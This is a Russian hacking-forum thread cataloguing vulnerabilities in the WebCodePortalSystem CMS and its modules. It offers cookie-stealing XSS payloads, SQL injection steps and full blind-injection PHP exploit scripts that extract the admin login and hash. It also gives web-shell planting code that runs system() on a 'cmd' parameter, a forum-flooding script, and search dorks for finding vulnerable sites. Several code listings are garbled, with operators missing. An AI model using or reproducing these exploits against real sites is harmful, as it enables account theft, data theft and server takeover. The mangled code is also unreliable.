Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Сценарии/CMF/СMS (https://forum.antichat.xyz/forumdisplay.php?f=114)
-   -   [ Обзор уязвимостей WCPS ] (https://forum.antichat.xyz/showthread.php?t=50646)

Dr.Z3r0 06.10.2007 21:10

[ Обзор уязвимостей Wcps ]
 
Уязвимости WebCodePortalSystem:
WebCodePortalSystem <= 3.7.1 - SQL инъекции, Пассивные XSS (c) I-I()/Ib
WebCodePortalSystem <= 3.8.3.1 - Общая информация, Активная XSS, SQL инъекция (+видео), Способ заливки шелла (c) Grey
WebCodePortalSystem <= 4.0.1 - Активная XSS (c) Grey
WebCodePortalSystem <= 4.0.1 - SQL инъекция (c) Grey
WebCodePortalSystem <= 4.0.1 - Флудилка форума (c) Grey
WebCodePortalSystem <= 4.0.1 - Пассивная XSS, SQL инъекция (c) I-I()/Ib
WebCodePortalSystem <= 4.0.1 - сплойт под SQL инъекцию (c) I-I()/Ib
WebCodePortalSystem <= 4.1 - SQL инъекция: "понижение прав админа" (+видео) (с) Grey
WebCodePortalSystem <= 4.1 - Пассивные XSS (c) I-I()/Ib
WebCodePortalSystem <= 4.1 - Активная XSS (с) Grey
WebCodePortalSystem <= 4.1 - Локальный инклуд, Пассивная XSS (c) Macro
WebCodePortalSystem <= 4.2.1 - Пассивные XSS (c) I-I()/Ib
WebCodePortalSystem <= 4.2.1 - Перезапись переменных (c) I-I()/Ib
WebCodePortalSystem <= 4.2.1 (4.2.2) - Небольшая статья про использование XSS: "Создание привилегированного пользователя..." (+снифер, +видео) (с) Grey
WebCodePortalSystem <= 4.2.1 - Активная XSS (c) I-I()/Ib
WebCodePortalSystem <= 4.2.1 (4.2.2) - Пассивная XSS (с) Grey
WebCodePortalSystem <= 4.3 - Пассивная XSS (с) Macro
WebCodePortalSystem <= 4.3 - SQL инъекция (+сплойт) (c) I-I()/Ib
WebCodePortalSystem <= 4.3 - Пассивная XSS (с) Grey
WebCodePortalSystem <= 4.3.1 - Пассивные XSS (c) I-I()/Ib
WebCodePortalSystem <= 4.3.1 - Локальный инклуд (c) I-I()/Ib
WebCodePortalSystem <= 4.3.1 - Пассивная XSS (с) Grey
WebCodePortalSystem <= 4.3.1 - Льём шелл... (с) Grey
WebCodePortalSystem <= 4.4.1 - Remote include (+сплойт) (с) I-I()/Ib
WebCodePortalSystem <= 4.4.2 - SQL injection (с) I-I()/Ib
WebCodePortalSystem <= 4.4.3 - SQL injection (с) I-I()/Ib
WebCodePortalSystem <= 5 - SQL injection (с) I-I()/Ib
Уязвимости дополнительных модулей WebCodePortalSystem:
AvtoBloger V2.0 - Пассивная XSS (c) I-I()/Ib
Cates v1.0 - SQL инъекция (+сплойт) (c) I-I()/Ib
NewsTematic 1.1 - Пассивные XSS (c) I-I()/Ib
mod_BigNews1.1/Mod download sql inj - Пассивные XSS/SQL инъекция (c) gibson
=============== =============== =============== ===============

WebCodePortalSystem
http://wcps.ru/

Насчет версий не знаю. Точно уязвима версия 3.7.1 именно в ней я баги и нашел. Проверял около полгода назад только сейчас руки дошли опубликовать...

Mysql-injection: Параметр User-agent в заголовках пакетов фильтруется только на drop, delete, union, char, benchmark

Mysql-injection: Параметр xxxxxxxxx_id_wcps в Cookie не фильтруется никак. Уязвимый скрипт: aut.php

XSS:
Код:

http://test2.ru/php/wojs.php?tit=xss</title><body onload=javascript:alert('xss')>
http://test2.ru/php/wojs.php?name_titl=xss</title><body onload=javascript:alert('xss')>
http://test2.ru/php/wojs.php?inflang=alert('xss');
http://test2.ru/php/wojs.php?type=alert('xss');
http://test2.ru/php/wojs.php?bord=');alert('xss');('
http://test2.ru/php/wojs.php?bg=');alert('xss');('
http://test2.ru/php/wojs.php?bgz=');alert('xss');('
http://test2.ru/php/wojs.php?zag=');alert('xss');('
http://test2.ru/php/wojs.php?txt=');alert('xss');('
http://test2.ru/php/wojs.php?fs=');alert('xss');('
http://test2.ru/php/wojs.php?cnt=');alert('xss');('
http://test2.ru/php/wojs.php?wd=');alert('xss');('
http://test2.ru/php/wojs.php?tit=');alert('xss');('
http://test2.ru/php/wojs.php?simage=');alert('xss');('
http://test2.ru/php/wojs.php?hover=');alert('xss');('
http://test2.ru/php/wojs.php?vdata=');alert('xss');('


Grey 13.12.2007 22:12

Вложений: 1
WebCodePortalSystem <= v. 3.8.3.1 + ВИДЕО (исправил ошибку с кодеком - теперь и весит два метра и открываться должно без проблем)

[ОБЩАЯ ИНФОРМАЦИЯ]

Стандартный префикс - wc_
Тип хеша - md5(password)
Таблица с пользователями - [префикс]_user

Для поиска сайтов с таким движком вводим: WebCodePortalSystem v. 3.8.3.1
Яндекс: http://www.yandex.ru/yandsearch?clid=9582&text=WebCodePortalSystem+v.+3 .8.3.1
Гугл: http://www.google.ru/search?hl=ru&q=WebCodePortalSystem+v.+3.8.3.1&btnG =%D0%9F%D0%BE%D0%B8%D1%81%D0%BA+%D0%B2+Google&lr=& aq=t&oq=

[УЯЗВИМОСТИ (версия WebCodePortalSystem v. 3.8.3.1 - на момент написания самая новая)]

[1] [Активная XSS]

Нет фильтрации в referer е, формируем пакет:

Код:

GET /index.php HTTP/1.1
Host: test2.ru
Referer: http://<IMG SRC=javascript:alert('test');>
Connection: close

Далее при просмотре страницы Статистика - Переходы видим выполнение скрипта.

[2] [SQL инъекция]

Уязвим скрипт гостевой книги, скрипт add.php

Заходим в сфой профиль, "Аккаунт" и в поле "URL Вашего Сайта:" вводим следующее:

',version(),'','1','1')#

Символ # так же как и /* - символ конца строки

Дальше заходим в гостевую книгу и видим в поле "URL вашего сайта:" введенную нами скулю, в поле с текстом сообщения вводим что угодно - не имеет значения (но не оставляем пустым и сильно маленьким - 5-6 символов норм).
Добавляем сообщение и видим результат работы подзапроса вместо текста сообщения, в данном случае будет выведена версия БД. К сожалению из-за ограничения на длинну вставить нормальный подзапрос не полчучится + еще одна не приятная особенность - поставленные пробелы не учитываются, поэтому придется использовать кавычки:

',(select"123"),'','1','1')# - будет выведенно 123

К сожалению от запроса ограниченного по длинне току мало, но сдаваться не хорошо, поэтму я нашел способ как это можно обойти.

И так, у нас есть параметр в котором кавычка не фильтруется, это "URL вашего сайта:", следовательно если мы подставим кавычку то сможем менять наш запрос, да вот кстати сам запрос:

PHP код:

mysql_query("INSERT INTO ".$wcpref."guestbook VALUES ('','$now','$eigbname','$eigbmail','$eigburl    МЫ ВНЕДРЯМСЯ ЗДЕСЬ    ','$eigbtext$attach_text','','$eiloggedstatus','$eigbsname') 

Единственый параметр который мы можем изменить в этом запросе (после параметра с адресом сайта) это текст сообщения - $eigbtext$attach_text, но в нем, как и вдругих кавычки фильтуруются, но использовать кавычки не обязательно, вводим следующее:

URL вашего сайта: ',/*
Текст сообщения: */version(),null,3,3)#

И вот как будет выглядеть запрос:

PHP код:

mysql_query("INSERT INTO ".$wcpref."guestbook VALUES ('','$now','$eigbname','$eigbmail','',/*','*/version(),null,3,3) 

Мешающие нам ',' будет закаментированно (ровно как и все что после #). Да и кстати проблема с пробелами тоже решена - что существенно упрощает построение подзапроса.

И так мы полчаем возможность внедрить sql инъекцию, к примеру вывод логина и хеша пароля пользователя (правда придется составлять два отдельных запроса, т.к. использовать запятую нельзя):

Текст сообщения: */(select user_login from wc_user where id=2),null,3,3)#
Текст сообщения: */(select user_pass from wc_user where id=2),null,3,3)#
URL вашего сайта (в обоих случаях): ',/*

!!!! При регистрации не вводите в URL вашего сайта: ',/* - кавычка будет экранироваться, вводить только при редактирование данных в профиле!!!!!!!
!!!! Уязвимсоть действует только если вы регились на сайте и изменяли в профиле этот параметр, при написание сообщения в гостевой без реги на сайте - кавычка будет экранироваться!!!!!!!


[В АДМИНКЕ]

[Раскрытие абсолютного пути]

В обычный комплект (к примеру версия WebCodePortalSystem v. 3.8.3.1) входит не установленный модуль «Инфо PHP»

Устанавливаем «Инсталл» Инфо PHP, после чего появляется новая опция «Инфо PHP»

[Заливка шелла]

1. Через sql запрос.

Создаем файл с запросом, к примеру файл 1.sql:

select 'код шелла' into outfile 'абсолютный путь/shell.php';

Получаем шелл:

http://site.ru/shell.php

2. Через редактирование меток

«Метки», к примеру метка METKA_STATUS

Добавляем следующий код:

PHP код:

$kod_shella = '<?php system($HTTP_GET_VARS["cmd"]); ?>';
$file_shell = fopen("shell.php", "w");
fputs($file_shell, $kod_shella);
fclose($file_shell);

Получаем шелл:

http://site.ru/shell.php?cmd=[cmd]

Или инклудим шелл, тогда код:

PHP код:

include('Адрес до шелла'); 

И получаем его на главной странице:

http://site.ru/

---------------------------------------------------------------

Видео (весит метра 2):

http://rapidshare.com/files/76360514/heck.rar.html

Описание к видео в файле в аттаче (hek.txt):

Grey 21.12.2007 19:30

WebCodePortalSystem v.4.0.1

[Активная XSS]

Достаточно быстро залатали предыдущие уязвимости, но латали на скорую руку, судя по всему, и активная XSS попрежнему осталась, хотя с ней будет немного больше гемора чем было раньше, но это уже мелочи.

Для обхода филтра воспользуемся вот этим удобным скриптом с помощью которого можно обойти многие фильтры:

http://ha.ckers.org/xss.html#XSScalc

Закодируем нашу строку:

javascript:alert('test'); -> Character Encoding Calculator -> вводим сюда скрипт: ASCII Text -> и получаем его здесь Decimal Value: HTML (without semicolons): -> &#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#39&#116&#101&#115&#116&#39&#41&#59

Формируем пакет:

Код:

GET /index.php HTTP/1.1
Host: test2.ru
Referer: http://<IMG SRC=&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#39&#116&#101&#115&#116&#39&#41&#59>
Connection: close

Отправляем его и видим результат работы скрипта на страничке со статистикой:

Статистика -> Переходы

Grey 22.12.2007 15:21

WebCodePortalSystem v.4.0.1

[SQL инъекция]

Заходим в новости, открываем любую - опция "Читать", дальше видим надпись "Оценить:".
Лезем в исходник страницы (имеется виду html страницы) к примеру в Опере Вид - Исходный текст

Находим строчку:

Код:

<option value="1">1</option>
И заменяем её на:

Код:

<option value="1,title=(select user_login from wc_user where id=2),photocor=(select user_pass from wc_user where id=2),ntext=null,phototext=null,kritery=null">1</option>
Нажимаем "Применить изменения", после чего выбираем кол-во баллов равное 1, и нажимаем Оценить.

Все теперь если просматривать новости, то в место заголовка текущей новости будет логин админа, а текст новости - хеш его пароля.

Видео (качество плохое, но понять можно):

http://rapidshare.com/files/78277422/heck2.rar.html

Grey 23.12.2007 00:38

WebCodePortalSystem v.4.0.1

[Флудилка форума]

Проверка с картинками сделана криво - после авторизации на форуме вводить символы с картинки не нужно... Вот состряпал две версии флудилки - одна работает медлено, вторая быстрее (но могут не все темы создаваться (к примеру 4-5 из 100 могут не создасться)).

Первая версия:

PHP код:

<?php
//--Отредактируйте эти данные-------------------------------

$host 'test2.ru'// Хост
$port '80'// Порт
$dir '/'// Директория

$forum_id '1'// Номер раздела форума

$cook '36b8e776d_wcps=af6709cdabc23cdbbb445ac7066f4291'// Ваши куки. Не забудьте отредактировать! Всего в куках две записи, вам нужна только эта - так в которой лежит сессия!!!

$tema_name '6666687'// Название темы
$tema_mess '5555587'// Текст сообщения темы

$kol '10'// Количество тем, которые будут созданы

//-----------------------------------------------------------
// ================
// Coded by Grey
// ================

$path $dir.'index.php?nma=forumd&fla=new';
$ref 'http://'.$host.$dir.'index.php?nma=forumd&fla=new&action=theme&forum='.$forum_id;

$len1 strlen($tema_name);
$len2 strlen($tema_mess);

for(
$i 0$i $kol$i++)
{
$s fsockopen($host,$port) or die ('Не удаётся присоединиться к хосту.<br>');

$tema_name .= ($i+1).($i+8);
$tema_mess .= ($i+1).($i+4);

$data 'action=ok_thema&forum='.$forum_id.'&names='.$tema_name.'&avtor=4&texts='.$tema_mess.'&uved=1&attach_sig=1&referer=topic';
$len_data strlen($data);

$headers "POST $path HTTP/1.1\r\nHost: $host\r\nReferer: $ref\r\nCookie: $cook\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: $len_data\r\n\r\n$data\r\nConnection: close\r\n\r\n";
fputs($s$headers);
while(!
feof($s))
{
$out_data .= fgets($s);
}
$out_data '';
$tema_name substr($tema_name,0,$len1);
$tema_mess substr($tema_mess,0,$len2);
fclose($s);
echo(
'Otpravleno soobchenii : '.($i+1)."\r\n");
}

?>

Вторая версия:

PHP код:

<?php
//--Отредактируйте эти данные-------------------------------

$host 'test2.ru'// Хост
$port '80'// Порт
$dir '/'// Директория

$forum_id '1'// Номер раздела форума

$cook '36b8e776d_wcps=af6709cdabc23cdbbb445ac7066f4291'// Ваши куки. Не забудьте отредактировать! Всего в куках две записи, вам нужна только эта - так в которой лежит сессия!!!

$tema_name '6666687'// Название темы
$tema_mess '5555587'// Текст сообщения темы

$kol '10'// Количество тем, которые будут созданы

//-----------------------------------------------------------
// ================
// Coded by Grey
// ================

$path $dir.'index.php?nma=forumd&fla=new';
$ref 'http://'.$host.$dir.'index.php?nma=forumd&fla=new&action=theme&forum='.$forum_id;

$len1 strlen($tema_name);
$len2 strlen($tema_mess);

for(
$i 0$i $kol$i++)
{
$s fsockopen($host,$port) or die ('Не удаётся присоединиться к хосту.<br>');

$tema_name .= ($i+1).($i+8);
$tema_mess .= ($i+1).($i+4);

$data 'action=ok_thema&forum='.$forum_id.'&names='.$tema_name.'&avtor=4&texts='.$tema_mess.'&uved=1&attach_sig=1&referer=topic';
$len_data strlen($data);

$headers "POST $path HTTP/1.1\r\nHost: $host\r\nReferer: $ref\r\nCookie: $cook\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: $len_data\r\n\r\n$data\r\nConnection: close\r\n\r\n";
fputs($s$headers);
$out_data .= fgets($s);
$out_data '';
$tema_name substr($tema_name,0,$len1);
$tema_mess substr($tema_mess,0,$len2);
fclose($s);
echo(
'Otpravleno soobchenii : '.($i+1)."\r\n");
for(
$i2 0$i2 20000000$i2++)
{
}
}

?>

Юзаем так:

1) Редактируем в скрипте данные (указываем адрес, номер раздела, !!!и не забываем сессию!!!).

2) Ну а дальше просто юзаем скрипт:

php c:\wcps_forum_flood.php

Dr.Z3r0 27.12.2007 17:20

WebCodePortalSystem v.4.0.1

XSS
Начнем с XSS так как она более юзаема. Находится она в файле mod/comment/index.php в самом конце. Вот уязвимый код:
Код:

if ($nma=='comment'){
        echo '<center>
<a href='.$portal_subdir.'/index.php?nma=catalog&fla=tema&cat_id='.$cat_id.'&page='.$page.'> '._STATINDEX_.'</a>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;
<a href='.$portal_subdir.'/index.php?nma=catalog&fla=stat&cat_id='.$cat_id.'&nums='.$ids.'>'._BACKSTAT_."</a>\n";
}

переменная $ids проходит фильтрацию, но не значитильную и как ни странно в фильтре запрещенно слово alert o_O... Ну и вот собственно эксплоит:
Код:

http://test2.ru/index.php?nma=comment&fla=index&ids=sssssssssss%20onClick=document.write(document.cookie)
SQL injection
Скажу сразу иньекция после order by, что оказывает к сожалению весьма пагубное влияние на ее юзаемость. Описывать сильно не буду она того не стоит. Вот так она выглядит:
Код:

http://test2.ru/index.php?nma=catalog&fla=pod_menu&cat_id=1&by=[SQL code]

Grey 29.12.2007 19:32

WebCodePortalSystem V4.1 (новая версия) + ВИДЕО

!!! [Понижение прав админа] !!!

Очень интересная уязвимость позволяет понизить права пользователя. Но она самом деле sql инъекция.

В файле mod/comment/ --> add.php <--

Есть запрос вида:

PHP код:

MYSQL_QUERY("update `".$wcpref."$tbl` SET $ncomment=$ncomment+1 where id='$per4'"); 

Очень классно если учесть, что параметры $tbl, $ncomment и $per4 мы можем менять...

Получаем возможность увеличить содержимое любой колонки на 1.

Самое нормальное где это можно применить - это в таблице с пользователями - увеличив значение поля user_uroven на 1 тем самым изменив права пользователя (понизить права).

Права админа: user_uroven = 1
Права пользователя: user_uroven = 3

Значит нам нужно будет провести операцию два раза - но это не проблема.

---------Как делать--------------

Заходим в "Новости", выбираем какую нидь новость (нажимаем "Читать") -> "Добавить комментарий".

Дальше лезем в исходник страницы (в Опере: Вид -> Исходный текст).

Находим вот такую форму:

Код:

        <form action="http://test2.ru/index.php?nma=comment&fla=add" method=post name=form onsubmit="return JScheckForm(this)">
        <TR class=even><TD>Nik:</TD><TD><b>123123123</b></TD></TR>
        <TR class=odd><TD>Ваш E-Mail:</TD><TD><b>123123@213.ru</b></TD></TR>
        <TR class=even><TD colspan=2>Комментарий:</TD></TR>
        <TR class=odd><TD colspan=2><textarea name="per1" cols="65" rows="8" style="width: 100%;"></textarea></TD></TR>
        <TR class=even><TD colspan=2>HTML-теги Вырезаются!!!</TD></TR>
        <TR class=odd><TD> </TD><TD>
        <input type='hidden' name='per4' value="25">
        <input type='hidden' name='per5' value="&fla=stat&cat_id=1&nums=25">
        <input type='hidden' name='mod' value="news">
        <input type='hidden' name='ncomment' value="comments">
        <input type='hidden' name='tbl' value="news_stat">
        <input type='submit' value="Добавить"></TD></TR>
        </form>

И меняем её следующим образом:

Код:

        <form action="http://test2.ru/index.php?nma=comment&fla=add" method=post name=form onsubmit="return JScheckForm(this)">
        <TR class=even><TD>Nik:</TD><TD><b>123123123</b></TD></TR>
        <TR class=odd><TD>Ваш E-Mail:</TD><TD><b>123123@213.ru</b></TD></TR>
        <TR class=even><TD colspan=2>Комментарий:</TD></TR>
        <TR class=odd><TD colspan=2><textarea name="per1" cols="65" rows="8" style="width: 100%;"></textarea></TD></TR>
        <TR class=even><TD colspan=2>HTML-теги Вырезаются!!!</TD></TR>
        <TR class=odd><TD> </TD><TD>
        <input type='hidden' name='per4' value="2">
        <input type='hidden' name='per5' value="&fla=stat&cat_id=1&nums=2">
        <input type='hidden' name='mod' value="news">
        <input type='hidden' name='ncomment' value="user_uroven">
        <input type='hidden' name='tbl' value="user">
        <input type='submit' value="Добавить"></TD></TR>
        </form>

Сохраняем изменения и добавляем коммент (текст коммента не имеет значения - что угодно).

Получится что в таблице user (знать префикс не нужно, он приклеится сам) у пользователя с id = 2 (в данном случае) в поле user_uroven значение увеличится на 1.

Как я уже сказал выше нужно что бы значение было равно 3, а не 2. По этому проделываем операцию еще раз.

Все - пользователь больше не админ.

Видео:

http://rapidshare.com/files/79874554/heck3.rar.html

Dr.Z3r0 06.01.2008 15:07

WebCodePortalSystem V4.1

Ну вот очередная порция багов. Две XSS:
Код:

http://test2.ru/index.php?nma=news&fla=tema&namecat[1']=2</a><body onLoad=eval("ale"+"rt(documen"+"t.cookie)")>
Код:

http://test2.ru/index.php?nma=search&fla=f.lib&name_sm[1']=1'<body onLoad=eval("ale"+"rt(documen"+"t.cookie)")>

Grey 06.01.2008 15:20

WebCodePortalSystem V4.1

Активная XSS:

Код:

GET /index.php HTTP/1.1
Host: test2.ru
Referer: http://<body onLoad=eval("ale"+"rt(documen"+"t.cookie)")>
Connection: close


Macro 06.01.2008 15:22

Локальный инклуд
/php/print_news.php?_SESSION[tema_scan][templates_wcinfoview.php]=1&portal_skin=[some_local_script]%00


Пассивная XSS
Код:

/php/wojs.php?inflang=document.write(unescape(/%253C%2573%2563%2572%2569%2570%2574%253E%2561%256C%2565%2572%2574%2528%2527%2558%2553%2553%2521%2521%2521%2527%2529%253B%253C%252F%2573%2563%2572%2569%2570%2574%253E/));

Dr.Z3r0 10.01.2008 22:30

Пассивная XSS в модуле(!) AvtoBloger V2.0
Код:

http://test2.ru/index.php?nma=blog&fla=news&cat=1&name_cat[1]=bla&ids=1&masivs[1']=s"></a><body onLoad=eval("ale"+"rt(documen"+"t.cookie)")><t g="

Dr.Z3r0 11.01.2008 21:28

SQL injection в модуле Cates v1.0

Собственно уязвимость нахотся в файле mod\cates\stat.php а уязвимый код выглядит так:
Код:

@$query = "INSERT INTO $GLOBALS[wcpref]downlog VALUES ('$nma', '$idd', '$GLOBALS[REMOTE_ADDR]', '$GLOBALS[HTTP_REFERER]', '$GLOBALS[HTTP_USER_AGENT]', '$now')";
if (!mysql_query($query)){WCInfoView(7,mysql_error(),__FILE__." ".__LINE__);}

Никаких проверок ни у referer ни у User-Agent и о какое счастье вывод ошибки в запросе. Да я согласен отсутствие вывода огорчает, но, написав небольшой эксплоит, можно таки очень легко поиметь сайт на этой цмс. Ну и сам эксплоит вот:
Код:

<?php
/*----------------------------------------*\
Експлоит для модуля Cates v1.0 к cms WCPS
Автор: I-I()/Ib
\*----------------------------------------*/
$set['host']='test2.ru';//Хост с CMS WPCS
$set['patch']='';//Путь к WCPS без слеша на конце!
$set['id_user']='2';//Номер юзера у которого буим брать хеш и логин (2 по дефолту админ)
$set['prefix']='wc_';//Префикс таблиц в БД
//----------------------------------------//

set_time_limit(0);

function create_packet($num,$sumb,$znak,$column='user_pass'){
        global $set;
        $tmp="111',IF(ASCII(SUBSTRING((SELECT ".$column." FROM ".$set['prefix']."user WHERE id=".$set['id_user']."),".$num.",1))".$znak.$sumb.",(SELECT 1 UNION SELECT 2),0),'1')/*";
       
        $header="GET ".$set["patch"]."/index.php?nma=cates&fla=stat&idd=1"." HTTP/1.0\r\n";
        $header.="Accept-Language: en-us,en;q=0.5\r\n";
        $header.="Accept-Charset: utf-8,*;q=0.7\r\n";
        $header.="Referer: ".$tmp."\r\n";
        $header.="Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png,*/*;q=0.5\r\n";
        $header.="User-Agent: 1\r\n";
        $header.="Connection: keep-alive\r\n";
        $header.="Host: ".$set["host"]."\r\n\r\n";
       
        return $header;
}

function logg($str){
        echo($str.'<br>'."\r\n");
        flush();
}

$ret='';
logg('<b>'.$set['host'].'</b>');
logg('Выдираем хеш...');
for($i=1;$i<=32;$i++){
        $sred=0;
        $tmp='';
        $i2=0;
        $i3=0;
        $znak='>';
        $mins=0;
        $maxs=255;
        while(1){
                if($maxs-$mins>3){
                        $sred=round(($mins+$maxs)/2);
                }else{
                        $sred=$mins+$i2;
                        $znak='=';
                        $i2=$i2+1;
                        if($mins>$maxs)break;
                }
                $header=create_packet($i,$sred,$znak);
                $dt='';
                $fp=fsockopen($set['host'], 80);
                fwrite($fp, $header);
                while(!feof($fp)){
                        $dt.=fread($fp, 1024);
                }
                fclose($fp);
               
                if(substr_count($dt,'Subquery returns more than 1 row')){
                        if($znak==='>')$mins=$sred+1;
                        else if($znak==='='){
                                $ret.=chr($sred);
                                break;
                        }
                }else{
                        if($znak==='>')$maxs=$sred;
                }
                if($i3>20)break;
                else $i3++;
                if(substr_count($dt,'doesn\'t exist'))die('Не верный префикс :(');
        }
}
if(empty($ret))die('Не получилось :(');
logg('Хеш: <b>'.$ret.'</b>');
logg('Выдираем логин...');
$ret='';

for($i=1;$i<=25;$i++){
        $sred=0;
        $tmp='';
        $i2=0;
        $i3=0;
        $znak='>';
        $mins=0;
        $maxs=255;
        while(1){
                if($maxs-$mins>3){
                        $sred=round(($mins+$maxs)/2);
                }else{
                        $sred=$mins+$i2;
                        $znak='=';
                        $i2=$i2+1;
                        if($mins>$maxs)break;
                }
                $header=create_packet($i,$sred,$znak,'user_login');
                $dt='';
                $fp=fsockopen($set['host'], 80);
                fwrite($fp, $header);
                while(!feof($fp)){
                        $dt.=fread($fp, 1024);
                }
                fclose($fp);
               
                if(substr_count($dt,'Subquery returns more than 1 row')){
                        if($znak==='>')$mins=$sred+1;
                        else if($znak==='='){
                                $ret.=chr($sred);
                                break;
                        }
                }else{
                        if($znak==='>')$maxs=$sred;
                }
                if($i3>20)break;
                else $i3++;
        }
        if(substr_count($ret,chr(0))){
                $ret=str_replace(chr(0),'',$ret);
                break;
        }
}
if(empty($ret))die('Не получилось :(');
logg('Логин: <b>'.$ret.'</b>');
logg('Готово');
?>


Dr.Z3r0 15.01.2008 21:02

Множественные XSS в модуле NewsTematic 1.1

Тут следует обратить внимание на файл php/wojs.php поставляемый вместе с модулем. Как можно заметить данный файл присутствует и в самой cms и в последних версиях этой cms этот файл не уязвим, но в модуле данный файл взят из более ранних версий, и при установке данного модуля неуязвимый файл меняется на другой-уязвимый, что приводит к большому количеству XSS. На всякий случай я повторю сплоенты:
Код:

http://test2.ru/php/wojs.php?tit=</title><script>alert(document.cookie)</script>
http://test2.ru/php/wojs.php?name_titl=</title><script>alert(document.cookie)</script>
http://test2.ru/php/wojs.php?inflang='></script><script>alert(document.cookie)</script><d d='
http://test2.ru/php/wojs.php?type='></script><script>alert(document.cookie)</script><d d='
http://test2.ru/php/wojs.php?inflang=alert(document.cookie)</script>
http://test2.ru/php/wojs.php?type=alert(document.cookie)</script>
http://test2.ru/php/wojs.php?bord=</script><script>alert(document.cookie)</script>
http://test2.ru/php/wojs.php?bg=</script><script>alert(document.cookie)</script>
http://test2.ru/php/wojs.php?bgz=</script><script>alert(document.cookie)</script>
http://test2.ru/php/wojs.php?zag=</script><script>alert(document.cookie)</script>
http://test2.ru/php/wojs.php?txt=</script><script>alert(document.cookie)</script>
http://test2.ru/php/wojs.php?fs=</script><script>alert(document.cookie)</script>
http://test2.ru/php/wojs.php?cnt=</script><script>alert(document.cookie)</script>
http://test2.ru/php/wojs.php?tit=</script><script>alert(document.cookie)</script>
http://test2.ru/php/wojs.php?simage=</script><script>alert(document.cookie)</script>
http://test2.ru/php/wojs.php?hover=</script><script>alert(document.cookie)</script>
http://test2.ru/php/wojs.php?vdata=</script><script>alert(document.cookie)</script>
http://test2.ru/php/wojs.php?wd=</script><script>alert(document.cookie)</script>
http://test2.ru/php/wojs.php?wd=</script><script>alert(document.cookie)</script>


Dr.Z3r0 18.01.2008 18:16

Эксплоит к SQL injection в WCPS v 4.0.1
Вот сама уязвимость:
Код:

http://test2.ru/index.php?nma=catalog&fla=pod_menu&cat_id=1&by=[SQL code]
Собственно я ее уже публиковал, как помним иньект там проходит после ORDER BY. Ну чтож развеем миф что скуля после ORDER BY не ракручиваемая. Вот эксплоит:
PHP код:

<?php
/*----------------------------------------*\
Експлоит для  cms WCPS v4.0.1
Автор: I-I()/Ib
\*----------------------------------------*/
$set['host']='test2.ru';//Хост с CMS WPCS
$set['patch']='';//Путь к WCPS без слеша на конце!
$set['id_user']='2';//Номер юзера у которого буим брать хеш и логин (2 по дефолту админ)
$set['prefix']='wc_';//Префикс таблиц в БД

$set['catid']='2';//Номер группы статей
$set['catnm1']='Регистрация Своего Модуля';//Название первой статья отобажаемая по ссылке типа http://test2.ru/index.php?nma=catalog&fla=pod_menu&cat_id=2&by=id
$set['catnm2']='Как повысить цитируемость';//Название последней статьи
//----------------------------------------\\
set_time_limit(0);

function 
create_packet($num,$sumb,$maxs,$znak,$column='user_login'){
    global 
$set;

    
$tmp='http://'.$set['host'].$set['patch'];    
    
$tmp.='/index.php?nma=catalog&fla=pod_menu&cat_id=2&by=';
    if(
$znak==='>')$tmp.=urlencode('(-id*(1=IF(ASCII(SUBSTRING((SELECT '.$column.' FROM '.$set['prefix'].'user WHERE id='.$set['id_user'].'),'.$num.',1)) BETWEEN '.$sumb.' AND '.$maxs.',1,2)))/*');
    else 
$tmp.=urlencode('(-id*(1=IF(ASCII(SUBSTRING((SELECT '.$column.' FROM '.$set['prefix'].'user WHERE id='.$set['id_user'].'),'.$num.',1))'.$znak.$sumb.',1,2)))/*');
    
    return 
$tmp;
}

function 
logg($str){
    echo(
$str.'<br>'."\r\n");
    
flush();
}

$ret='';
logg('<b>'.$set['host'].'</b>');
logg('Выдираем логин...');
for(
$i=1;$i<=25;$i++){
    
$sred=0;
    
$tmp='';
    
$i2=0;
    
$i3=0;
    
$znak='>';
    
$mins=0;
    
$maxs=255;
    while(
1){
        if(
$maxs-$mins>3){
            
$sred=round(($mins+$maxs)/2);
        }else{
            
$sred=$mins+$i2;
            
$znak='=';
            
$i2=$i2+1;
            if(
$mins>$maxs)break;
        }
        
$dt=file_get_contents(create_packet($i,$sred,$maxs,$znak));
        
        if((!
strpos($dt,$set['catnm1']))||(!strpos($dt,$set['catnm2'])))die('Не верный префикс, либо неверно указанны названия статей');
        if(
strpos($dt,$set['catnm2'])>strpos($dt,$set['catnm1'])){        
            if(
$znak==='>')$mins=$sred;
            else if(
$znak==='='){
                
$ret.=chr($sred);
                break;
            }
        }else{
            if(
$znak==='>')$maxs=$sred;
        }
        
        if(
$i3>30)break;
        else 
$i3++;
    }
    if(
ord(substr($ret,$i-1))==0)break;
}
if(empty(
$ret))die('Не получилось :(');
logg('Логин: <b>'.$ret.'</b>');
$ret='';
logg('Выдираем хеш...');
for(
$i=1;$i<=32;$i++){
    
$sred=0;
    
$tmp='';
    
$i2=0;
    
$i3=0;
    
$znak='>';
    
$mins=0;
    
$maxs=255;
    while(
1){
        if(
$maxs-$mins>3){
            
$sred=round(($mins+$maxs)/2);
        }else{
            
$sred=$mins+$i2;
            
$znak='=';
            
$i2=$i2+1;
            if(
$mins>$maxs)break;
        }
        
$dt=file_get_contents(create_packet($i,$sred,$maxs,$znak,'user_pass'));

        if(
strpos($dt,$set['catnm2'])>strpos($dt,$set['catnm1'])){
            if(
$znak==='>')$mins=$sred;
            else if(
$znak==='='){
                
$ret.=chr($sred);
                break;
            }
        }else{
            if(
$znak==='>')$maxs=$sred;
        }
        
        if(
$i3>30)break;
        else 
$i3++;
    }
    if(
ord(substr($ret,$i-1))==0)break;
}
if(empty(
$ret))die('Не получилось :(');
logg('Хеш: <b>'.$ret.'</b>');
?>

Вот поймать бы того, кто в фильтр всунул строку user_pass (идиотизм какой-то), так бы сплоент работал и на последней версии 4.1. Но к сожалению в последней версии сплоент выдирает только логин, а вот в предпоследней (4.0.1) успешно вытаскивается админский логин и хеш.

Dr.Z3r0 03.02.2008 02:26

XSS WCPS v.4.2.1
